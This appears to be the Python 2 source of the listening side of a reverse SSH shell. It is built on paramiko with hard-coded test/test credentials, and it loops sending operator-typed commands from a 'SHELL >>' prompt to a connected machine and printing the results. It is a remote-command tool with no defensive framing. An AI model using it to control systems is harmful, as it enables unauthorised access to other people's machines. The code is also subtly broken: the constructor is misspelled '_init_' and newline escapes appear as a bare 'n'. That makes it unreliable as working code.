python source code of server

import socket
import paramiko
import threading
import sys

KEYNAME = 'rsa.key'
HOST = '127.0.0.1'
PORT = 22
USERNAME = 'test'
PASSWORD = 'test'
host_key = paramiko.RSAKey(filename=KEYNAME)


class Server (paramiko.ServerInterface):
   def _init_(self):
       self.event = threading.Event()
   def check_channel_request(self, kind, chanid):
       if kind == 'session':
           return paramiko.OPEN_SUCCEEDED
       return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
   def check_auth_password(self, username, password):
       if (username == USERNAME) and (password == PASSWORD):
           return paramiko.AUTH_SUCCESSFUL
       return paramiko.AUTH_FAILED

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen(100)
    print 'Listening for connection...'
    client, addr = sock.accept()

except Exception, e:
    print 'Listen/bind/accept failed: ' + str(e)
    sys.exit(1)

try:
    t = paramiko.Transport(client)
    t.load_server_moduli()
    t.add_server_key(host_key)
    server = Server()
    t.start_server(server=server)

    chan = t.accept(20)
    print chan.recv(1024)
    while True:
        command= raw_input("SHELL >> ").strip('n')
        chan.send(command)
        print chan.recv(1024) + 'n'

except Exception, e:
    print 'Caught exception: ' + str(e) + ': ' + str(e)
    t.close()
    sys.exit(1)